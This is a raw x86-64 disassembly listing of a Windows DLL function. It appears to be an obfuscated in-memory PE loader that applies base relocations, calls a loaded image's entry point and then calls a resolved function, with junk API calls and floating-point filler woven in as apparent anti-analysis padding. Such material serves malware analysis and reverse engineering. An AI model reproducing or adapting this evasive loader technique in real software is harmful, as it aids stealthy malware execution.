mov qword [rsp + 0x80], r15
cmp qword [rsi], r12
mov r8, qword [rsp + 0x70]
mov rax, qword [rsp + 0x1b8]
mov r9, qword [rsp + 0x68]
jne 0x180005b60
mov rdi, qword [rsp + 0x48]
lea eax, [r14 + 4]
cmp eax, ecx
cmovle r14d, ecx
add rdi, 0x14
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x1b8], rdi
mov r15, qword [rsp + 0x30]
mov rax, qword [rsp + 0x60]
jmp 0x180005a5c
mov esi, r13d
movaps xmm0, xmm10
mulsd xmm0, xmm8
addsd xmm0, xmm11
call fcn.1800045bc
mulsd xmm0, xmm14
addsd xmm9, xmm0
add esi, r13d
movd xmm0, esi
cvtdq2pd xmm0, xmm0
comisd xmm15, xmm0
jae 0x180005e9b
mov r13, r15
mov rax, qword [rsp + 0x40]
sub r13, qword [rax + 0x30]
mov qword [rsp + 0x1b8], r13
cmp dword [rax + 0xb4], r12d
je 0x1800061a0
cmp r14d, dword [rsp + 0x20]
je 0x180005efe
mov edi, dword [rax + 0xb0]
add rdi, r15
mov qword [rsp + 0x48], rdi
jmp 0x180005f55
cmp ebx, 0x1c
jge 0x180005f46
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
movsd xmm0, qword [0x180033950]
call fcn.180004450
movsx ecx, al
movd xmm6, ecx
cvtdq2ps xmm6, xmm6
movaps xmm7, xmm6
mulss xmm7, dword [0x180033adc]
cvtps2pd xmm0, xmm7
call fcn.1800041c4
xorps xmm1, xmm1
cvtsd2ss xmm1, xmm0
divss xmm7, xmm1
addss xmm7, xmm6
cvttss2si ebx, xmm7
cmp ebx, 0x4a
jg 0x180005f55
mov ecx, 0x5a
call fcn.180004410
mov r11d, 0xfff
mov r9, qword [rsp + 0x20]
mov r10d, 3
cmp dword [rdi + 4], r12d
je 0x1800061a0
cmp r14d, r9d
cmove r14d, r9d
mov qword [rsp + 0x38], r14
mov esi, dword [rdi]
add rsi, r15
mov qword [rsp + 0x1b0], rsi
mov r15d, dword [rdi + 4]
sub r15, 8
shr r15, 1
lea rdx, [rdi + 8]
mov qword [rsp + 0x1a8], rdx
test r15, r15
je 0x180006184
lea edi, [r14 + 4]
mov r8d, 1
lea r14d, [r8 + 1]
sub r15, r8
cmp edi, r9d
jle 0x18000601b
movzx ecx, word [rdx]
movzx eax, cx
shr ax, 0xc
cmp ax, 0xa
jne 0x180005fd8
and rcx, r11
add qword [rcx + rsi], r13
jmp 0x18000600b
cmp ax, r10w
jne 0x180005fe7
and rcx, r11
add dword [rcx + rsi], r13d
jmp 0x18000600b
cmp ax, r8w
jne 0x180005ffd
and rcx, r11
mov rax, r13
shr rax, 0x10
add word [rcx + rsi], ax
jmp 0x18000600b
cmp ax, r14w
jne 0x18000600b
and rcx, r11
add word [rcx + rsi], r13w
add rdx, r14
mov qword [rsp + 0x1a8], rdx
jmp 0x180006171
mov ecx, 0x1d
movsd xmm6, qword [0x1800339c0]
xorps xmm0, xmm0
cvtsi2sd xmm0, rcx
movaps xmm1, xmm6
divsd xmm1, xmm0
cvttsd2si rbx, xmm1
movaps xmm0, xmm6
call fcn.1800041c4
cvttsd2si rax, xmm0
mov qword [rsp + 0xa0], rax
cvtpd2ps xmm0, xmm6
call fcn.1800040f8
xorps xmm6, xmm6
cvtsi2sd xmm6, rax
mov rax, rbx
cqo
mov rcx, qword [rsp + 0xa0]
idiv rcx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm6
cvttsd2si eax, xmm0
cmp eax, 3
je 0x180006028
movsd xmm6, qword [0x180033870]
mov r8d, 1
cmp eax, r8d
mov rsi, qword [rsp + 0x1b0]
jge 0x1800060f9
xorps xmm7, xmm7
cvtsi2ss xmm7, r12
call qword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
xorps xmm0, xmm0
cvtss2sd xmm0, xmm7
subsd xmm0, xmm6
cvttsd2si rbx, xmm0
mov ecx, ebx
call fcn.180004410
movd xmm6, eax
cvtdq2pd xmm6, xmm6
xorps xmm0, xmm0
cvtsi2ss xmm0, rbx
mulss xmm0, xmm7
cvtps2pd xmm1, xmm0
mulsd xmm1, xmm6
cvttsd2si eax, xmm1
cmp eax, 1
jl 0x1800060aa
mov r13, qword [rsp + 0x1b8]
mov r8d, 1
mov ecx, 0x19
lea edx, [rcx + 0xf]
jmp 0x18000610e
sub ecx, edx
lea eax, [rcx + rcx]
movsxd rdx, eax
lea eax, [rdx + rcx]
test eax, eax
jns 0x180006103
mov bl, r8b
cmp eax, 0x39
jg 0x180006158
mov r13d, r8d
mov esi, 0x75
call qword [sym.imp.SHELL32.dll_InitNetworkAddressControl]
mov eax, esi
cdq
idiv r13d
add bl, al
movsx r13d, bl
movsx esi, al
mov eax, esi
imul eax, r13d
cmp eax, 0x39
jle 0x180006122
mov rsi, qword [rsp + 0x1b0]
mov r13, qword [rsp + 0x1b8]
mov r8d, 1
mov r11d, 0xfff
mov r10d, 3
mov r9, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x1a8]
test r15, r15
jne 0x180005fb7
mov rdi, qword [rsp + 0x48]
mov r14, qword [rsp + 0x38]
cmp r14d, r9d
cmovl r14d, r9d
mov eax, dword [rdi + 4]
add rdi, rax
mov qword [rsp + 0x48], rdi
mov r15, qword [rsp + 0x30]
jmp 0x180005f66
mov esi, 1
mov ebx, esi
mulsd xmm10, xmm8
addsd xmm10, xmm11
movaps xmm0, xmm10
call fcn.1800045bc
mulsd xmm0, xmm14
addsd xmm9, xmm0
add ebx, esi
movd xmm10, ebx
cvtdq2pd xmm10, xmm10
comisd xmm15, xmm10
jae 0x1800061a7
mov rax, qword [rsp + 0x40]
mov ebx, dword [rax + 0x28]
add rbx, r15
mov r14, qword [rsp + 0x1a0]
mov rcx, r15
cmp byte [r14 + 8], r12b
jne 0x180006239
mov rdx, qword [r14 + 0x10]
call fcn.180004800
mov rdi, rax
test rax, rax
je 0x180006240
cmp byte [r14 + 0x3c], r12b
je 0x180006216
mov rdx, r15
mov rcx, qword [r14 + 0x40]
call fcn.180004608
xor r8d, r8d
mov edx, esi
mov rcx, r15
call rbx
mov r9d, dword [r14 + 0x38]
mov r8, qword [r14 + 0x30]
mov rdx, qword [r14 + 0x28]
mov rcx, qword [r14 + 0x20]
call rdi
cdqe
jmp 0x1800062d8
xor r8d, r8d
mov edx, esi
call rbx
xor ecx, ecx
movsd xmm0, qword [0x180033b90]
comisd xmm9, xmm0
jb 0x18000626a
subsd xmm9, xmm0
comisd xmm9, xmm0
jae 0x18000626a
movabs rax, 0x8000000000000000
mov rcx, rax
cvttsd2si rax, xmm9
add rax, rcx
add rax, rbx
jmp 0x1800062d8
sub rsi, r13
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x90], rsi
jmp 0x180004d08
cmp ebx, 0x37
jl 0x1800062a1
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov ecx, 0x77
call fcn.180004410
mov edi, 0x1d
call qword [sym.imp.USER32.dll_SetProcessDPIAware]
mov ecx, edi
call fcn.180004410
mov ebx, eax
mov ecx, edi
call fcn.180004410
movsxd rdi, eax
movsx eax, bl
imul eax, edi
mov ebx, eax
mov dword [rsp + 0x1b0], eax
cmp eax, 0x65
je 0x1800062a6
jmp 0x180004cf9
lea r11, [rsp + 0x160]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret